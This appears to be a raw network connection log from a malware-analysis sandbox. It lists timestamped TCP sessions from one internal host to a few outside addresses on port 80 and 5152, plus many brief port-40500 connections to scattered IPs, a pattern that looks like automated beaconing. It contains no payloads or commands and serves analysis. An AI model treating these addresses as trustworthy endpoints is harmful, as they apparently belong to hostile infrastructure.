Oct 26, 2024 07:27:29.749228001 CEST	80	49998	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:29.749284029 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:30.890415907 CEST	49999	40500	192.168.2.6	198.163.192.16
Oct 26, 2024 07:27:31.161886930 CEST	40500	49999	198.163.192.16	192.168.2.6
Oct 26, 2024 07:27:32.908411980 CEST	49994	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:32.908780098 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:32.914346933 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:32.914361000 CEST	80	49994	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:32.914465904 CEST	49994	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:32.914479017 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:32.914791107 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:32.920058012 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.848124027 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.848196983 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.848284960 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.848318100 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.848332882 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.848352909 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.848359108 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.848387957 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.848396063 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.848431110 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.848438978 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.848474979 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.848481894 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.848510027 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.848515034 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.848539114 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.848552942 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.848572969 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.848577976 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.848619938 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.852861881 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.852891922 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.854101896 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.854155064 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.854176044 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.854207039 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.854208946 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.854240894 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.854249954 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.854276896 CEST	80	50000	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:33.854284048 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:33.854321957 CEST	50000	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:35.877336025 CEST	50001	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:35.884468079 CEST	80	50001	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:35.884555101 CEST	50001	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:35.884700060 CEST	50001	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:35.891206026 CEST	80	50001	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:35.907617092 CEST	50002	40500	192.168.2.6	90.156.163.55
Oct 26, 2024 07:27:35.913156033 CEST	40500	50002	90.156.163.55	192.168.2.6
Oct 26, 2024 07:27:35.913479090 CEST	50002	40500	192.168.2.6	90.156.163.55
Oct 26, 2024 07:27:35.915299892 CEST	50002	40500	192.168.2.6	90.156.163.55
Oct 26, 2024 07:27:35.921906948 CEST	40500	50002	90.156.163.55	192.168.2.6
Oct 26, 2024 07:27:35.922003984 CEST	50002	40500	192.168.2.6	90.156.163.55
Oct 26, 2024 07:27:35.927730083 CEST	40500	50002	90.156.163.55	192.168.2.6
Oct 26, 2024 07:27:36.812014103 CEST	80	50001	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:36.812072039 CEST	50001	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:36.812073946 CEST	80	50001	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:36.812087059 CEST	80	50001	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:36.812099934 CEST	80	50001	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:36.812112093 CEST	80	50001	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:36.812114000 CEST	50001	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:36.812123060 CEST	80	50001	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:36.812135935 CEST	50001	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:36.812179089 CEST	50001	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:36.812194109 CEST	80	50001	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:36.812206984 CEST	80	50001	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:36.812218904 CEST	80	50001	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:36.812236071 CEST	80	50001	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:36.812239885 CEST	50001	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:36.812268972 CEST	50001	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:36.812292099 CEST	50001	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:36.815747023 CEST	50001	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:36.815776110 CEST	50001	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:36.876151085 CEST	40500	49999	198.163.192.16	192.168.2.6
Oct 26, 2024 07:27:36.876404047 CEST	49999	40500	192.168.2.6	198.163.192.16
Oct 26, 2024 07:27:36.936990976 CEST	50002	40500	192.168.2.6	90.156.163.55
Oct 26, 2024 07:27:36.983454943 CEST	40500	50002	90.156.163.55	192.168.2.6
Oct 26, 2024 07:27:39.050873995 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:39.056230068 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:39.056299925 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:39.062304020 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:39.067935944 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.163943052 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.163960934 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.163969994 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.163997889 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.164011002 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.164021015 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.164022923 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:40.164038897 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.164051056 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:40.164061069 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.164067984 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:40.164076090 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.164087057 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.164091110 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:40.164118052 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:40.164140940 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:40.164206028 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.164242029 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:40.164835930 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:40.164858103 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:40.169867992 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.169918060 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.169929981 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.169940948 CEST	80	50004	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:40.169950962 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:40.169991016 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:40.170706987 CEST	50004	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:41.949760914 CEST	50005	40500	192.168.2.6	59.91.192.122
Oct 26, 2024 07:27:41.955064058 CEST	40500	50005	59.91.192.122	192.168.2.6
Oct 26, 2024 07:27:41.955154896 CEST	50005	40500	192.168.2.6	59.91.192.122
Oct 26, 2024 07:27:41.958312035 CEST	50005	40500	192.168.2.6	59.91.192.122
Oct 26, 2024 07:27:41.963705063 CEST	40500	50005	59.91.192.122	192.168.2.6
Oct 26, 2024 07:27:41.963752031 CEST	50005	40500	192.168.2.6	59.91.192.122
Oct 26, 2024 07:27:41.969290972 CEST	40500	50005	59.91.192.122	192.168.2.6
Oct 26, 2024 07:27:42.093240023 CEST	50005	40500	192.168.2.6	59.91.192.122
Oct 26, 2024 07:27:42.139482021 CEST	40500	50005	59.91.192.122	192.168.2.6
Oct 26, 2024 07:27:42.198945999 CEST	50006	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:42.204392910 CEST	80	50006	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:42.204454899 CEST	50006	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:42.205141068 CEST	50006	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:42.210437059 CEST	80	50006	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:43.131649017 CEST	80	50006	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:43.131679058 CEST	80	50006	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:43.131695032 CEST	80	50006	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:43.131742954 CEST	50006	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:43.131759882 CEST	80	50006	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:43.131778002 CEST	80	50006	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:43.131783009 CEST	50006	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:43.131794930 CEST	80	50006	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:43.131809950 CEST	80	50006	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:43.131809950 CEST	50006	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:43.131828070 CEST	80	50006	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:43.131834030 CEST	50006	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:43.131844997 CEST	80	50006	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:43.131860018 CEST	50006	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:43.131860018 CEST	80	50006	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:43.131936073 CEST	50006	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:43.146040916 CEST	50006	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:43.146064043 CEST	50006	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:44.407097101 CEST	40500	50002	90.156.163.55	192.168.2.6
Oct 26, 2024 07:27:44.409015894 CEST	50002	40500	192.168.2.6	90.156.163.55
Oct 26, 2024 07:27:45.183347940 CEST	50007	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:45.188802958 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:45.188878059 CEST	50007	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:45.189408064 CEST	50007	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:45.194751024 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.111536026 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.111578941 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.111588955 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.111660957 CEST	50007	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:46.111685991 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.111696959 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.111709118 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.111721039 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.111732960 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.111745119 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.111754894 CEST	50007	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:46.111766100 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.111789942 CEST	50007	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:46.111819983 CEST	50007	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:46.112315893 CEST	50007	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:46.112350941 CEST	50007	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:46.117161989 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.117177963 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.117192030 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.117207050 CEST	80	50007	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.117244959 CEST	50007	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:46.117280006 CEST	50007	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:46.117341995 CEST	50007	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:46.872004032 CEST	50008	5152	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:46.877456903 CEST	5152	50008	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:46.878784895 CEST	50008	5152	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:46.879024982 CEST	50008	5152	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:46.884409904 CEST	5152	50008	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:47.095042944 CEST	50009	40500	192.168.2.6	78.37.229.249
Oct 26, 2024 07:27:47.100481987 CEST	40500	50009	78.37.229.249	192.168.2.6
Oct 26, 2024 07:27:47.100594044 CEST	50009	40500	192.168.2.6	78.37.229.249
Oct 26, 2024 07:27:47.103281975 CEST	50009	40500	192.168.2.6	78.37.229.249
Oct 26, 2024 07:27:47.108742952 CEST	40500	50009	78.37.229.249	192.168.2.6
Oct 26, 2024 07:27:47.109019995 CEST	50009	40500	192.168.2.6	78.37.229.249
Oct 26, 2024 07:27:47.109457016 CEST	50009	40500	192.168.2.6	78.37.229.249
Oct 26, 2024 07:27:47.114415884 CEST	40500	50009	78.37.229.249	192.168.2.6
Oct 26, 2024 07:27:47.155421972 CEST	40500	50009	78.37.229.249	192.168.2.6
Oct 26, 2024 07:27:47.804666996 CEST	5152	50008	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:47.905838966 CEST	50008	5152	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:49.186371088 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:49.186975956 CEST	50010	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:49.192291021 CEST	80	49998	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:49.192315102 CEST	80	50010	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:49.192369938 CEST	49998	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:49.192418098 CEST	50010	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:49.201984882 CEST	50010	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:49.207254887 CEST	80	50010	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:50.559824944 CEST	5152	50008	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:50.560491085 CEST	5152	50008	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:50.560547113 CEST	50008	5152	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:50.560823917 CEST	5152	50008	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:50.560863972 CEST	50008	5152	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:50.560899973 CEST	80	50010	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:50.560944080 CEST	50010	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:50.560971022 CEST	80	50010	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:50.561014891 CEST	5152	50008	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:50.561023951 CEST	50010	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:50.561094999 CEST	40500	50005	59.91.192.122	192.168.2.6
Oct 26, 2024 07:27:50.561106920 CEST	50008	5152	192.168.2.6	185.215.113.66
Oct 26, 2024 07:27:50.561108112 CEST	80	50010	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:50.561142921 CEST	50005	40500	192.168.2.6	59.91.192.122
Oct 26, 2024 07:27:50.561203003 CEST	50010	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:52.125221014 CEST	50011	40500	192.168.2.6	5.239.153.192
Oct 26, 2024 07:27:52.130700111 CEST	40500	50011	5.239.153.192	192.168.2.6
Oct 26, 2024 07:27:52.134753942 CEST	50011	40500	192.168.2.6	5.239.153.192
Oct 26, 2024 07:27:52.135940075 CEST	50011	40500	192.168.2.6	5.239.153.192
Oct 26, 2024 07:27:52.141690969 CEST	40500	50011	5.239.153.192	192.168.2.6
Oct 26, 2024 07:27:52.142776012 CEST	50011	40500	192.168.2.6	5.239.153.192
Oct 26, 2024 07:27:52.149808884 CEST	40500	50011	5.239.153.192	192.168.2.6
Oct 26, 2024 07:27:52.171471119 CEST	50011	40500	192.168.2.6	5.239.153.192
Oct 26, 2024 07:27:52.219511032 CEST	40500	50011	5.239.153.192	192.168.2.6
Oct 26, 2024 07:27:52.652053118 CEST	50010	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:52.652419090 CEST	50012	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:52.657727957 CEST	80	50012	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:52.657773018 CEST	80	50010	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:52.657865047 CEST	50010	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:52.657970905 CEST	50012	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:52.705173016 CEST	50012	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:52.710581064 CEST	80	50012	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:53.559186935 CEST	80	50012	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:53.559329987 CEST	50012	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:55.595391035 CEST	40500	50009	78.37.229.249	192.168.2.6
Oct 26, 2024 07:27:55.595454931 CEST	50009	40500	192.168.2.6	78.37.229.249
Oct 26, 2024 07:27:55.620553970 CEST	50012	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:55.620862007 CEST	50013	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:55.626472950 CEST	80	50012	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:55.626589060 CEST	50012	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:55.626636982 CEST	80	50013	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:55.626702070 CEST	50013	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:55.626848936 CEST	50013	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:55.632178068 CEST	80	50013	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:56.509474993 CEST	80	50013	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:56.509546995 CEST	50013	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:57.172278881 CEST	50014	40500	192.168.2.6	178.22.171.158
Oct 26, 2024 07:27:57.177673101 CEST	40500	50014	178.22.171.158	192.168.2.6
Oct 26, 2024 07:27:57.177776098 CEST	50014	40500	192.168.2.6	178.22.171.158
Oct 26, 2024 07:27:57.179096937 CEST	50014	40500	192.168.2.6	178.22.171.158
Oct 26, 2024 07:27:57.184438944 CEST	40500	50014	178.22.171.158	192.168.2.6
Oct 26, 2024 07:27:57.184535027 CEST	50014	40500	192.168.2.6	178.22.171.158
Oct 26, 2024 07:27:57.189961910 CEST	40500	50014	178.22.171.158	192.168.2.6
Oct 26, 2024 07:27:57.202759981 CEST	50014	40500	192.168.2.6	178.22.171.158
Oct 26, 2024 07:27:57.251390934 CEST	40500	50014	178.22.171.158	192.168.2.6
Oct 26, 2024 07:27:58.656124115 CEST	50013	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:58.656523943 CEST	50015	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:58.661824942 CEST	80	50013	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:58.661844015 CEST	80	50015	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:58.661904097 CEST	50013	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:58.661941051 CEST	50015	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:58.683264017 CEST	50015	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:58.688581944 CEST	80	50015	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:59.475634098 CEST	5152	50008	185.215.113.66	192.168.2.6
Oct 26, 2024 07:27:59.587367058 CEST	80	50015	91.202.233.141	192.168.2.6
Oct 26, 2024 07:27:59.587464094 CEST	50015	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:27:59.596338034 CEST	50008	5152	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:00.612231970 CEST	40500	50011	5.239.153.192	192.168.2.6
Oct 26, 2024 07:28:00.612297058 CEST	50011	40500	192.168.2.6	5.239.153.192
Oct 26, 2024 07:28:01.709266901 CEST	50015	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:28:01.709625959 CEST	50016	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:28:01.716198921 CEST	80	50016	91.202.233.141	192.168.2.6
Oct 26, 2024 07:28:01.716284990 CEST	50016	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:28:01.716332912 CEST	80	50015	91.202.233.141	192.168.2.6
Oct 26, 2024 07:28:01.716382027 CEST	50015	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:28:01.729651928 CEST	50016	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:28:01.735004902 CEST	80	50016	91.202.233.141	192.168.2.6
Oct 26, 2024 07:28:02.219127893 CEST	50017	40500	192.168.2.6	2.178.164.63
Oct 26, 2024 07:28:02.224679947 CEST	40500	50017	2.178.164.63	192.168.2.6
Oct 26, 2024 07:28:02.224761009 CEST	50017	40500	192.168.2.6	2.178.164.63
Oct 26, 2024 07:28:02.226198912 CEST	50017	40500	192.168.2.6	2.178.164.63
Oct 26, 2024 07:28:02.231497049 CEST	40500	50017	2.178.164.63	192.168.2.6
Oct 26, 2024 07:28:02.231554031 CEST	50017	40500	192.168.2.6	2.178.164.63
Oct 26, 2024 07:28:02.236934900 CEST	40500	50017	2.178.164.63	192.168.2.6
Oct 26, 2024 07:28:02.280787945 CEST	50017	40500	192.168.2.6	2.178.164.63
Oct 26, 2024 07:28:02.327573061 CEST	40500	50017	2.178.164.63	192.168.2.6
Oct 26, 2024 07:28:02.679735899 CEST	80	50016	91.202.233.141	192.168.2.6
Oct 26, 2024 07:28:02.679855108 CEST	50016	80	192.168.2.6	91.202.233.141
Oct 26, 2024 07:28:05.666534901 CEST	40500	50014	178.22.171.158	192.168.2.6
Oct 26, 2024 07:28:05.666723967 CEST	50014	40500	192.168.2.6	178.22.171.158
Oct 26, 2024 07:28:05.984841108 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:05.990386009 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:05.990473986 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.002042055 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.007375956 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.897535086 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.897577047 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.897631884 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.897629023 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.897629976 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.897689104 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.897706032 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.897720098 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.897746086 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.897757053 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.897766113 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.897794962 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.897799969 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.897825956 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.897844076 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.897861958 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.897882938 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.897897005 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.897908926 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.897953987 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.903274059 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.903346062 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.903366089 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.903419971 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.903515100 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.903549910 CEST	80	50018	185.215.113.66	192.168.2.6
Oct 26, 2024 07:28:06.903570890 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.903601885 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.909336090 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:06.909375906 CEST	50018	80	192.168.2.6	185.215.113.66
Oct 26, 2024 07:28:07.281598091 CEST	50019	40500	192.168.2.6	94.230.230.211
Oct 26, 2024 07:28:07.287230015 CEST	40500	50019	94.230.230.211	192.168.2.6
Oct 26, 2024 07:28:07.287328005 CEST	50019	40500	192.168.2.6	94.230.230.211
Oct 26, 2024 07:28:07.288655043 CEST	50019	40500	192.168.2.6	94.230.230.211
Oct 26, 2024 07:28:07.294421911 CEST	40500	50019	94.230.230.211	192.168.2.6
Oct 26, 2024 07:28:07.294472933 CEST	50019	40500	192.168.2.6	94.230.230.211
Oct 26, 2024 07:28:07.296462059 CEST	50019	40500	192.168.2.6	94.230.230.211
Oct 26, 2024 07:28:07.299942017 CEST	40500	50019	94.230.230.211	192.168.2.6
Oct 26, 2024 07:28:07.343620062 CEST	40500	50019	94.230.230.211	192.168.2.6
